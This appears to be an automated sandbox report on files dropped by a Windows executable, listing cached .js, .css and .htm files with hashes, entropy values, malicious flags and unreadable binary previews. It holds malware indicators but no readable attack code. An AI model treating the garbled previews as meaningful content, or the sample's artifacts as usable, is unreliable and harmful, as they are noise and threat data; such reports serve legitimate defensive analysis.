.t...V...t.K..'Z....n.XdL]..1....nG.f.\.6.E.D.`-..~...R..PQ.,.....K.X..[....%Q}..Z.z..._j.%L..n.Nk.....&!w..=..B..N....-(..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\5fBhIWX2NfxoiM-aOLeKJczoLSY.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	234417
Entropy (8bit):	7.6141387675797425
Encrypted:	false
SSDEEP:	6144:ZEIRNAjZej2O938HX0JmuC7tn9sZDVmJkognkW6MUHwaXl+0SEDtMLoc6jxET1:64NALOt8HtRn90JmJkognkW6MUHwaXlO
MD5:	F7E2EE2CFC1AC7EA46D783B9F12E9DFA
SHA1:	8F967C4D011808A02C194F79716F93FCA3E4EB5B
SHA-256:	8AA28CB62C090EDEDD4CA054191CBF7E65ADD6BEE634E49102A8271E88E5A2CB
SHA-512:	A42A31639BAB8731029E1D9F0C9EA2BCEEDD939F966E8A489615211E82D3BCEFC3E26B4BA1B2ECF147CF43F66464D58BE6221E9B1FBD900B8FECB8C4D0BE2A4D
Malicious:	false
Preview:	var WT$.......s.RH8.~'Ql....V....A.<.n....=yny.2....p.C..}.;m..+.R..si..1.h.9[...d{.`l ..B.D`.T...cg.'...L...K.sV.)....OM..4.....+.............6"..HSU...5X..]x......!.........H.x;...2......Oa^.(3.\=.R...3.$-....!.....u.>[.m.A.......{\|....^.&..::../F.._..I@H.o...;.A\|...w...P+uY..C....AI.........(v......_#.......6.ltv.H..ZWF+.+YKR.~..!."G...L....9cq.?vk..C.v.....6.4........A.E......oY..\V5s>.....j.5f,..U..Y.g..]ew..D..DH..i.....O8...@.....n.om.].r......}.......zi.........6.\8=Xy...?.>..<.C..b.m...1....V.#!...7.B."..sy..)..q...{Q.8.....IQ. ..IbRe...L0..VO.(.e~Fu.P.shj........J.0ux.'....6....Q......o<...sX.s[/..klQ .-.>..U....9.@.1.)..0..w.?./. 4.J1H...:...6MR..C.......huv.....TR.. .D~c5.U..l...IR.+."k.y.i....6Yslyv..\...o,<...!(..\|...ZsS#U...2J.c.uw8.I.}.k^..j.2j...-.....D.....y:.....].i..3..`......$X....=.......H].O4G.X...e...k.v..Z-..#.m..I.I.....5#.Ed..[..h..S{lTC>....x.AB.u.R.%...s...;x.?L..7oH......?......M...L5.^,..K..1...G.V....O..)..j..N

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\7keH62cNTOqo8SU4xXMfYfcmvcI.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2436
Entropy (8bit):	7.9223220605555795
Encrypted:	false
SSDEEP:	48:Q/BJXPvYnCp5CQ/jrTPMAnVrx6hZJaU4wS5qZWUAtWrHjr1LQVjpDjdqR2BiD:KfvYnCrwAngZNGYvAm31KVQgA
MD5:	BFFF39797AFAC6B5A309A8531D162F74
SHA1:	86AB4639E045C4EE276F951485E841B3EAD531D5
SHA-256:	BF407AC77F7541C4876415D4111E1E627D32721EA1EE1A0BF5C8268D6A3E129D
SHA-512:	39BCEF7CC2C2E3582A148894CB0D15F6DC46AC89E3A347E3560B4077925A81E602CE7E8FEFA5A2AEB8B18750CD43096468FFCC98453DC1E9540D681BA79E01FE
Malicious:	false
Preview:	var W..... T..:.T^nf......9.R..1Fn....z.e.X..=r#...O..0...5.>M..\|.vh.5..`.A.z\|J.....@....N....T.X.7.....4...b...F.s..]U...<W...5a..._8...=Y&......Tg'.L.=..3!..........r...7`(...\......9..v..\|.O....8..o..\|;l..8..Aw..h ....gd.......sG......Sf..9[xQn....%c........O...M{DW....A+.8V.xF.CL6.o.$...D..w..K.n..y.\|.....NH.0.%>..x..7dx......t..IV.y.'..2oS.....-.2=.N7...`=P.^.LspJ.P.$...W...v.N...n.)..^.:.u"c...Q.h.+..J.S..DOK>kD......EZ=.Gobp.x&&3.9.tyu.g...N?.jY.#A...n.\...l..M....e..F..O.+.....9.xKQ.".D<N...c=.JA....\|.....[sp.h...$.t.........f&...=L;...h.orP..7...l(.....-8=.,.@...\.?y....xQp...!ta...\...y.N0..(}.......t.?.P.e:.Q.B. 3....>.t...M..s....(.R.,.....R..."q....\|.W.=......Q,$.53..l.. 5.....Q..{,KB...29....p..(..TS.F..x.S.G.k/..n8...x{Xd.*..$..e.../.r....o...\|..V...]....+.....aK...{.Q..T./..!.Nm2.NP%.D.s~...f+).t..P....0AX...7....S.>........w.....gV.v..3...aP.((!\|Nj..U..p..I......m...B?./."....5..[_....Yg;..7=...K.9....!\\.VJb_.00..0t<..k!h..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\8yOt-qMgl3wFFpnXBbdaeUrdWpM[1].css

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	16301
Entropy (8bit):	7.988552285462829
Encrypted:	false
SSDEEP:	384:pPoPnNKCdwKBBpZUU1YSzKZU7gMeVqGFiO1Z93U6VUT7n:KhdpzZUtSVzeFZlk6+
MD5:	8EED974AE16B2CEDDD24A772F217AD72
SHA1:	36CF6ACA54ECC1F05212CC55FC6A6BB2709563F9
SHA-256:	8EA7C08933ED197F20A45179CF2051910C7D3AEB05E877DACAE27EF0295FE862
SHA-512:	C124DF7B1F0175F0FD08BE70F7AA2BF73D7FC7E4DBB19B516F2391CA5BF0C772362B1693DA9DEE8F611ACAAF34740B222579742AB57555ED881E13D94B76AC40
Malicious:	false
Preview:	html{.p.2k..A.N.e..g..."......p.`\|@...be,..%..4!c;...s0L...Q..L.0.Q(\|..$.1..:`...c.-T.....#.S..bpG.H....D......f.z.%D.;.....!.eD.....bS...c...YH...p.}..:e......Z.3..,f..1.d.\...).K..N...7m...I.$..qX....\|`..).NN..k_..F...AP.g..R..D...W....n.#...e..!.#~."Pfw.....Ak6f.:..'.L$5..1...zg............3.W...?.%...../.J)...Y.vM.m.9b.u.....n.j...c..LLQ..Y..:.Aa.....2....S.V_....d./}o'J..{..%..?.Q.0'...]0.L....{]....S..1....3`......<...K-.7./~z.s..A..+cBK.......{...!..1...sv.D......;.l~D.)-4.......q.h.n.e...T..s......J..........[~.........2..4~.....2.. ..1......+._.OA.{....{..e...mg........+F..W)\W.....%...:.U.......7.9X.G..."V..\.......\.)7..)...].Z...I...].5H...<5"P..F.)...b.........{:......k........<....qn]..,..DL>\|W.l....].{0Fy..Nn;N.D=...N%...7.f.{.....\|v<..%.....g..3.Qt.Af4U...yX.r`.fU..-m+;.+#.(.@...h.!.n.br..T..m...L.........S...u<?U]1U.S.X.....D?......1? ,......Hj-.2.S.#K.W.0}@......y........P....+m.......-~..Y.....D...P.ot{....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\9NAKqY_tlD66IpqKerRN4qs4P0c.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2444
Entropy (8bit):	7.926343231972273
Encrypted:	false
SSDEEP:	48:1POnQI95nmCU0WW1ZhSoS2XPwJNjSeRIQTUK+LAO/8wVxiD:5IpU0WWLlf/AGeSQT6X5w
MD5:	D07485C7FC42937486C36C14DCFAF743
SHA1:	4ADBC85F70C136BCB70DBFD31B4B7EBD82327BE8
SHA-256:	6CCFF5CA3B8FEA3261EE733E3ABC78D9159F3624914BD1EE1DAA8E8E9C9A65E6
SHA-512:	85F49DF357128FD718E4D75B6F76B0F92A5ED515BADC7EE0EA18A757E912F985E98A634CC21F005989ED6CB7135FA425FBDF481A56F4694E10C0131EE19A726E
Malicious:	false
Preview:	var Wv..#o.....n......<..",..........h5.H......:a..~..n...].'it.R[..e]...$?....$._.m.i.6......o...,.Nx. ..y...E8Z[..W...2m..7.....4..K...!~....A.fY..)...j..Sw..&...z!....lE..s...'..:6..rT.$87..+...%Q.u....$M..I....."j7; ............%.Tq.......-..wE9..FP./...k..e....v.f..Y.p.........c.n,.=..h5.e.M>U...'\0.q5C.......}.....>f7"~.a..\|....9..1...d$.zu.nc...w....nzK..Fi.&4.......=~%M....I;.z.K}&......i...lN..tf.e..9.....&..5..p%......H...fH.@..\|=..\|.....W.!2A...~.)^.w^.}.....E@...4d1... ..1bn.....!.......fz&p.}W.E..y.........3.1.@'k..K.aI\0...Y..~O..].s.0..7..`..{.(.3..D[...$W+b...rs..p0.Qg...,~.UdZ...A.#p~.......$$+.t..n...]..J?.T1.oe84..Z=,d...>q.+..v.+...........9..<..T.....k....#.q../.W{.E...........Exq.......>..D2&..h.h.A.;d~.>l.!....HP...Rt.;<Cn0$.....f.....M.7..Q.l../s..9aRZ..J...F....v^..4....H....zV.u....<.^L.^..j8...B{.SG..^.....5\&..I.M.<SDJ\p.....?...}O.Z.p.i}...cy+.w.5[...N......../.O1&p.z/..x...Ab.......w....26..u..q..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\9eNI3ykoxUBcfNRgDJaF-g0a_0c[1].css

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	9567
Entropy (8bit):	7.982744112405273
Encrypted:	false
SSDEEP:	192:NCxXxcNbiPy71i0x0nUzvZzlb2L6i+8pDr1rCGyKyZ1m7It:NqXxctsIsFbDrR/yKwA7It
MD5:	4FDE5E9AB7F685A6617D097E2257796C
SHA1:	03EADF87D56F1138FB320EADF0D240EBF02B5A02
SHA-256:	43A61B1776F82144387512F14C5E4E758A1ED89C60F4B88A549A96195B6E13BE
SHA-512:	073C909C13FB5F6306D83337D6CB51F943E4FF622558B7C088569AC8DE62599DF472BB99ABE6DFB78C0BC5B8CE8E47F9DD555A5C64152368A21C4CA0C609EB62
Malicious:	false
Preview:	body .l..fL.}/A9.c.........qKy.7..g..G....frCG...R(..4>..d*+.4p,......DY$Y..)O.,.CY..K.i...u.....,`<I.3l].P..s...w.W....N.y.J..._.....(:..;......rE..^I.s..K.#%<p.0\s....iRM.......sx.9;).^.w#...........b..'.''6.OeX..P.0.D..V1...U.#.D....1G...N'tF....G#R...&....@&m...........7..O..R...q{,p...^..;.1o..<4o...dz..>.D.G;...`.Q.I....@..7.d'o..o+4>[d.R#.7='Cd....2..RN;]>..(....PI....@..D..m..p.<.E...wp..`oo1...@.m..4.."..B.....<..O.c.3.....1.(?..lt.T.W....~.5o...y..u....1...R\|.s o...........&v....F ..R.T\|...7.#........G.B.o..x.........m....lk..I...R..Nug...K...k.KA.A7W...=. .V..P.WX.o.1..)_.i...;Y(.6...T{7...@+....;Q..J...\|.o!.._...G..'..:...........P...z..Lj.j..0.a....IU.....\Tz.[%..T..V.p.....~^..w{...OK.z.jW.r,....gE....F...x....k.mO....RH....9.=...../7..L.W.k.d:..Q.[...o..{..`....N. .]....c.&.`.q.E\|f?..#...W:.8.9...(..].aq...`.`..C%.)..%Y.3...b..~..................=..~\|f.k....d...s..+:sr......y...PF^...b...m.....N...H.. .b......~.....g....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\D_0mE1U1YmZvpLaz5wDHB6P-DAI.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	192924
Entropy (8bit):	7.859193608082949
Encrypted:	false
SSDEEP:	3072:RpQb5jFRUfUJnS8SPW6DgoOI1V2mpoZ3l+MxiOy5CKb0NF9m8j8H+lA2Zi5FUmrl:c5RUfUFAPVEFI1Ha5dKb4Hm8jLjnQ
MD5:	A33D825AF1D9D1234E07043AB7819A94
SHA1:	E6920FEE358F6C23A4714442C6DD511420895D5A
SHA-256:	1502737AA7ED948B7815A17C568ACEF17DC43C45DC3307B5667D001EC560E2E2
SHA-512:	6C64D48445045AEF5966F9C98D9C5834C1D544CE5B81D1F6B721BB35D1D992EE4960878CCE216F5ABBF734CA282E657658D3F3564C2292EB41FD3F49098D79D5
Malicious:	false
Preview:	var WH...b..Y(..H...t..wQ...d,.e...3...+N...=-...1..h...Q..1.Q...r.......D..`.n..,.qc.....\|#...Y_.B.mSO...gu...q.M...3..=q.l..LkIL....P...&....+.=C.... Vi.jsH.(..Hj...q....(...$..p0..B.P.y.I...fvV".}...;'s....H.Ki........Y'.6...=m..b@..1sOE....s....ic.3..P....D[H..3.\8.)J..N@!.;J...x..Sf.S..8f7?Eq.Q...7B;.....b..H.`....,..&k.\|.w...h.....3c:.\.$.x'..j....'...O....Hn..U..(.V<`....KLP....)f..d\..}...R..~../.~...wn8fm!..~......]../.p.V......0r....0.&.:...z.MU.$lD..V{N. ....E.....BR...n<.`.....{....c....lQ.ebc...).Z.._L.....L4...m.......x..>.......L.CF...G.6.O.x.+V...Ei.;I...6..nm.....-W.]T....'.M.~B+L..^...v...........W>.!v.2...>7...1......e"......^9......Z.LC^d.............o..5u.94.....?....O...qS!....+.x.J.>..w.`.....=b...A.....9..._....:......0F........6.p.y.BM...F...L.4..h...\W..i.......)...k...@....~.....x..P.I.+...MtPa.l.X{h0U..;.-MLR.....7.....<..l........-(....'IR..Q.....[...n..mC......%...9.~y."....=....x(..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\DccpWCpoNzCwM4Qymi_Ji67Ilso.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	131722
Entropy (8bit):	7.998305768179327
Encrypted:	true
SSDEEP:	3072:kkiEuCNPHOmW9zqPvoj/FkZH8ynzoS6Io:QEusPudzqPvoj/mZraz
MD5:	EB0D619D529E982B2C658AEEB77C8372
SHA1:	F6987EB5CF65E3106EDE60B7CAD9D168E2B74EDC
SHA-256:	4D56DE8C670F769231B78F5AB77D664AA5D6970AB973E4831EEFD181B8B9BA88
SHA-512:	41535D702CB6ABEEA9F5382C77761DC537ED89F10FDA944FCAE9557F656FCBBF2B56192CE16DDCE228774F3B57F6BBE2103F7F6CE64D8441E9BB9555989D829A
Malicious:	true
Preview:	/** @.......p.....jB..J......);.ww...t.-.v.k.+.H> ZQ:'8Q..>u..G..Q.....WG.[.<.U.-..~...$..3St;..B_."..;.\|E.[V9G&..@..Z.....s.h&\.p X.b<.N.+Y3. ^x.z..\b.X.! .j..2.......K..S....I.:.p@......._.........U...V..C......cL....\|.8.s.L..6e....iX....u..8....]vN..B....[Z...XT..{......9:}..0?....\|\|{.q..%(l.H..).+~...P...:jL..u..x.+Q.MK_..`.3.0.V...H..../...]..^.'....9..1d.bOhP......=.yy.S.o).L..X.U/.i<....J.}..!<...?..yi1....Q..e...v...!;.n..D..2F+ .....]...AE>.H>.w....g....v..Y....t...2.F.......+_l%...,!.B3...t..T4..k....L.@.7d+.u\|j..V`......6..p..R82..2.;-r.......b....TnIB\|.N..$.]...m..\.vnt.X...<...[.+.5.as...2.%.o....[.x.\|PCx.1...........@....iu.!........0.c%...O#..ahPw..1.....t...HC...j..%4...k.W\|i..,c.dUh..c.m.w......f.s.@_.....I\....1.`.X......w.H.. ....'.{.v..E....lN.X8..8..].....=.Uz..a.F\|.]lpS.]......C...Q.i#?...........jYL..?..\|Jw9{......nk.U..].M.O.DZm._+..)...I}v.N.....>.k5.'.R~r..x.hSn......WB....;..A...K..j5..S.}..,.\|E}$.3.5~.n.L

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\EJz06avERkAqfuwcXY6H5w8dtNc[1].css

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	428901
Entropy (8bit):	7.029067407233789
Encrypted:	false
SSDEEP:	6144:fFkr0hPqbokW25Lh4d9V9EeLp00t+J37sJrvCJhBmNP/LxmnZoYh0yh881p:fjZqhX+d9V9EeLp00HlmZoYh0yh881p
MD5:	94FE32998C81A6336E9B89834FDC9C2B
SHA1:	DB6B8B4738413E690F6D99F06C746AD2DB699D59
SHA-256:	1C1127B7D2D370FF2CA4A672D024CD97A0AC58979709B2E1DF46D63CEA880194
SHA-512:	489DC5DA678B4D5E8F2B1EA177025E9BF950CE524081C8B152392AF089CB33A8302230BBC54B127C670228B7858D941949E3FD8A229744CA0A2D2B6E1376888F
Malicious:	false
Preview:	.scop..... ..4w..l.........j...T.+....7.}P@ ..-...J..,`.H?N.o....T._.!..7&c..3jq.d..q{JO..X..4zk.........Jx",N.O..Pb...>.R..t.".U...J....V...G...8?H.....$.L.. ...+...[..SQ.M..C..2..Z"&....-.s,A.W.OB.P.i.h..>....R.\0.(.+=.sfV..V.XN.K......F.I..G.#...4....R..c...M.?..~.Jr..z>.}.\|.....u.].:B{...x...h..a...!..W9.4.7.BFl5,...........^\7'$.........O..5..Y.e)^.~".6...1.bozp..p2;ecU.B..$kO...JZ.....a@.....0x..a%Sp...'......U.:........._..E.'uI.K.DX..../...P.2...m.2..s.k..A.f.[.@..94....H...4....>....\|..L.@.......:....d.c......G....f.....P....5vMH..G./.<..,].4..$.v...(..1....3...,&..K...Z7.Hr..0}..M.M.>.%.......^..$..+........0..K,gh.G..y..#......=9v.!vtz5..;......v....q?.$e.j.&/...G.S.6b..lU...........49...3T.W.0......3.(..Ed.3$.../..hL.J..Y.(.....s...[.....+..c{50A\|(.r..k.......>?.=?...WK..OD......d...".......l..i.&7....MM...@..i1...R)>......Q...U#..8..Y......d.P`,k..'=....hV...-K...#.k..^.......2.....g.#...yJ..._...B6......V...B4....;S....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\EYNLM9RfkEXFtD8WH1unvJjwzGA.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	17832
Entropy (8bit):	7.9886076797928425
Encrypted:	false
SSDEEP:	384:LhCGFGnsQuWI/ylVSLt/jNEHtuzAgbyeqVHAiRSsAH9lc:d/FGs/FZsAYVHAiRv09lc
MD5:	762AA781EB88A4BC7E1A70AC85484854
SHA1:	9F19D7926EA80E24B5DF3AAAB06ACC413E8A0FCD
SHA-256:	734E9BE34E244E45FE5464C8CC63CC3E84DF630BE531DB84837ECFAA86F36CA4
SHA-512:	99A9841171B8C9850F0A1CD9164A15D617B2044BB9F9C87B2371DE57449D6F511AEA26560C1CC03A568C768B95448BD3B5CFD033CEE19E204F0454C59568DD82
Malicious:	false
Preview:	!func....V....P....&..)...`.T..Z..e.k{B..-....q..V;/f.....S.Ee..i...DUN..?...OY::...8.......1.c.+o.z.>..p..w\|V-R0..........3].._.@;.....~..Ke...\.U.3O..s..P<..J$.]...S'.M$I..d...).;..g......?.-._t............&...h..L.......Jn..S.~.....q....^..(.Tk@%Y....5Q.....[..&0.<..k..M..z....O_#59w...a.-.... ....n....GH..F..".\|b1>'..2.q..p...(x.I....o.R..Qt.V.k.)ib...\...u..q.E.y..H.......9s.>..+w3. .rz.i.E.'.m..bq..8;Sv.!._....{E.....T....[....7!..r...".f..eV9..K....Y.'.on.U_d#xP..Q...J....9[C\L.7o....Y<33..j.......E5. u...U..M.7`...{.t.B.A.vM3......O.r.q..uV........WP4.....z..}Bz.P.<....4.y.v.e...oa.wsA(>.[;.k..bV.uk{.A.{.(SQ..I.N!T.............hW.e.)..7...QU...T...r.....<[..r.u.$....?mc'n.-(....'......1_Ve.f>.H..)...`....8p...`.....x.A..;.C..x..F.fXl......I....M..R.g.&...\..ml4..3..6......m/.........v.X3....5.).A...8..?.`!..5.k...cMHJ/.e..F.Y*.b.t...\|. ...P.[G._.yo..3.%/..=.LM.L0\|L...B0.2?..&Q..>7.b{tPK...P..3.X}.K....dv6..Z.-...V..1

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\GW3DpE2qmyibnbFrEIzpiD0iGLk.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	825
Entropy (8bit):	7.754692975966292
Encrypted:	false
SSDEEP:	24:C8jYjBV2kp9xTxpPT9e25gq/ybs/n911SBiAaiTkbD:tjYjP2kp9xNpPTrgq/y6cBiAPiD
MD5:	5CDDEB0BB8DB9329C6DCCEFAB4032AC7
SHA1:	23AFB2B3AAD61EB65321BAE99129BE51E3BE8A56
SHA-256:	70CA6955AAD51F0E2850A385E7386D3D15C73ABD7F457DD19CC05EC2324256A3
SHA-512:	A1301F022E4965AFB352B6F09E45E41DBC2D8202E3A1DD0E0B171A8D1AA392B25E1F3D0CD07B64A1F8C88A2A73FF6F6EBC7F07E661725DA74CAEAF6234B7178C
Malicious:	false
Preview:	var W`.....K.)Y.$.{.hh....?../.#.>..$.q......A..i...$E.]i.Is.u.!.N.'.>.3.?1..7..>.....S.0\|.wp.....h..kT.=...0._.i.^>.V.xU@.'..h..4...g7..L.\|...)A...>.....h..myZ:.U.Z[....0.._#....!........j..^N.9. ..95:g.t.>......tHE.\......V........[].fK.....N..;.0y.w.G....&.Q....>.....K......O..3..Bk..H]\....'.....wc.+.~i..YO...P.XR,.........]..$.P...3C..v.2.....\...a\|C... ...W...M-!=.$d.k>...SX.t2\|@Dn...04..c...k...dzOM.......J..>..A.a..j8..4-/..-).u........a..M..O. F..n..5.5H...m....r...78.Q..Nb.*..C..w.-......%.....D...M@.....TG..X..K.;.$..(._w;..V..e..oH....y.^...^.j..@WR)w.B.....Cd."....[.f=$..w.o.......z.D..ae.uXO.a`......uLL.Na...H".bv~.f./........1(...{..}U....\|. ..........H..r......\|KH.c....i....wph$.F.l8...^.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\Init[1].htm

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	115252
Entropy (8bit):	7.99827875081292
Encrypted:	true
SSDEEP:	3072:ygyDydekrZ3AXgRJQys0w/6GaLu/OKQ8GwgDO1855l:wQf3HKLvDW8GjOG7
MD5:	C084A65E1AC1F45FA93600FB3F7933DD
SHA1:	7BCBB43A92C462E1C34A3373E8AA1490135E9894
SHA-256:	C34475368DB43D6F059569D2A7B7509AC475B0672E3038309B65DAFBEB4440D5
SHA-512:	C7DF2FD78CE272DC70C5207A174E77B148CEF95A71747C3EE9707F4C01FB20E5B398CFF2BAD67329F1BFC71577E724B6125B9CDD5F23A9D0A87621C0A9C4324F
Malicious:	true
Preview:	<!DOC........@..,.....Wi........._O..H.H..(..T..Fi..\|.....7..Z...X7h;u...J0[... .\|@..KC0.G.'.u-..w8...z.\ B....P.G.........I...:.!........j-.t..dMK..} ..,.}.....n....l" .........,.@f.%C........$"#D7..4M."..b~3?.5..V...anc.,+'..cu8B.t...<7.G.t.....In.....4.#..8.Rz.C.@.^....N..]<6.V.\..H.u..:=.d#+y....s. .w....~[.\A....B.F.F..k......+.}KR}1..}....B<F....y..{.}....l.......5..9...n.p._j8.;.^...G..}#.QW...7u....S...w^.........H.....C....X...A.......8.....L..!.x:B..{)...-.....-...../..n...V8.5W........Kh7.F.....@J..\.0.....Q..<.:P...<xI\|.ZY1..j5.......TR.U_...4.......nc...Y...`.r#..?.;..Z..}.\|..}.....7.....Pl0sW...s.;.....7...Z0)I.6....Z.......yk ...z.j^M.<...LN.6x.7..o..p..d.%...Il{..p.\...d9...!;...8.GH.3.1..@....;7P}$..h.A.9:...2.".......lD..t..a..1.C..Pi,..............\X(t......Cx..6j{.y{9...A...+C.<....D1..3...E..Vw...g'.+k./..k/.....r..):.^O.....N......3i...#O..]./.W`..~..xy.+....X....%...PW....c..~....&.?5..*......n.%...X."...U....\|X

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\KF9j9oJUfaaKiX-84yf0U337ge8.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1749961
Entropy (8bit):	6.574659952785183
Encrypted:	false
SSDEEP:	49152:2K5ISUX/CjrjYz6J9dDpwBcOTvz2EsoTE+rQU03GQM:HLDuBcGjt
MD5:	5E857A8F7EDC6D4F1C96EF8F1F49087F
SHA1:	72EFF75C7C6A2EAF8CF7B577258D212F7BE9F28E
SHA-256:	A29BC11694D5CC1050A9EB66D11B9B7329EA8409B71FB7543161CF0D8D9ECFFC
SHA-512:	3DBFB6A98E397F590DEA522FA776AA7CAA81EFE899BD63948E3E65DE1F7EED4F3B027486691AB2DA04B309B4A48FF5432CD0D21D769849FFC864CD2DC7760EBC
Malicious:	false
Preview:	(func..u.....1./..._^..+.....'...}.......+..uxl.k.i..Y.W.\|.^4..f.LU......?`.....J..y..o....s....v..&..." ...%.2.FZ...L....a\|d..."..i9$f......!..n...E\|.n.d-s....3.P.Eo..FE.-h...k.g..K.%8...W..1..M......`....]...2.....$.0.Jd..[;y....B.z.....ab..pX.(\....?.hen.@..2..9.%. ..t.w.....r.O..D...$...........".I.V].w"E........#..G.-.. ...n,..{.5[O./...:...KU Vz).?c.C....p.+.c..D....1.n{A..c..H.).\|....[d/.8\|@..)k..a...N..T8...`.@....I87...w<......J..-.~..r.rN.......5..7......q..s=...#&...K._^:..?....X.A.......m.;.7..2..{hP+.R.F.......[Jf.../......+?...............,....6Mp.y&....gD..A4.d.m....m...9.Q...A..!\|.t....z...._.\|1M.6F(..K.m.mm........h.1.).&.QA`.j..vq.b.5O.d..2....3....`.P.q.:=Hy..........z0....\|..SU..Z.QSvlw%We...l.m{y..s....2......X.+K..........7.;;....\......\D.....M.iRT..DS.v.X..D.....$..V.v.d....o.tm.dcC[o.....n@.w..P.RpO.&..m.+._..^.Q.X2.*V..c...2 .sxL].7..}....y5..h.E..H..(x@.HK...LE......;K<....n.....9..(.8.......}....cZ\H...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\Kwh038ybdvX_puLwdopqHydJtVM.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	467497
Entropy (8bit):	6.282850424889623
Encrypted:	false
SSDEEP:	3072:MVb5/B/qc1m5rewsoizjrTbIDsKjua62lhkedCrGnWGYOOpR7/lWQZGND1/vVFAp:MVyDJeco/bIDhuLCqeAGCTmND13VF0i8
MD5:	723341B208E3327F5B868FF3D109DE6E
SHA1:	DEE29EBE8B592B0C2837352356DFA582EC0AF35A
SHA-256:	27DA27ADC8D014B7CAB2321866724565533F62727329F48D0997E072E6AA6D32
SHA-512:	76F540A8CED0D40B77E098EC1CC2E453D7B96C97CCBF28C0971308A5D70B81DDA45D3BB502FC2FA0776D168A2641FEA58E1EC74C30F0F9BED6DB6ADC3819F8E2
Malicious:	false
Preview:	var W...4......@..T.o..]?..7.....V+m..j.f.... .g.~..aJ...yG+.........ZU.{......b.n`....`mP..,Z.....).w...........n.,...z.....:..;..8.=..JN.9.k..!e...dO..kk<G=.h.......{..c........F....S`QLq..I..z<.naK8..\|.U..@.8.'.....N.+.s...U7.e.....5..q.}..c..1J..]..1cK.F.4.....C...D.....hF+I.yL.S..9W..Z....T,..g!f`o~.[......1,.. B......I^... .>.Vw@..(....!_.x....4..H4...9./.m.,.E;.O.e.,J..#k..Q.)'Y.I..K.Y..Y.p..v.T...-..........38.k5Y\7....K<...q`.H...hnD.WJ.xh.$..Wk..F.h.9@.....j.$..{dP9/.C.vN2b1...S..b..c..c}.vX.Uj..,..j...:.......#......B.$,.\|t.`...E.F.......\..WD.T...Au.......H...@..(.rro.\)m...'eB.....QoV..@3..\N........v..7.O...Y....vEX..Eg.......-]...r.\|......&o.)...........X...'.1..Q.. .V....P..:J!.....J$a.!.-Z.\-..N.)L..l./.I]..]..&].sL....r\.]..b..'.un.b.D..P)0...k.....o.:.......}f.37.."...t../..!,6..aL....5_l1....7.37.7_.'.La8.n.......I..M..S.{..3hG.....C7......XY%*L..Y...Wd...d.z~...]zC%.....2Gi0J.c...q..s.......<J.zd.A......\|.J....d.,9..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\KzWxoKDHqNy24XFwlA6xWw89_DA.br[1].js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	9214
Entropy (8bit):	7.981923705009687
Encrypted:	false
SSDEEP:	192:Oo+ghq85We3qEcZtZVAwhxBPZc/N3LermEuWudGvUQt4x6zX+UH:OghB53qxZ5AuBB8N3KPmdGvxtWg5
MD5:	43B68EFA1612CD7BD41998D08F765568
SHA1:	BFFF94712CDAE3B730D058BE94A29D3EAD35A7D8
SHA-256:	42059FE8CBD022D51A33BEF712FB73C1C24322F9F258C51E9943E1308782D6E1
SHA-512:	A4FFDA653F85526ED1821B6F613A481FEC49A80AC06D1699C52ED24422C7C8DAE3123F3DF80F64B22CDEFCED58B4A29404D262B22EB10316578CCFB8BF38CD54
Malicious:	false
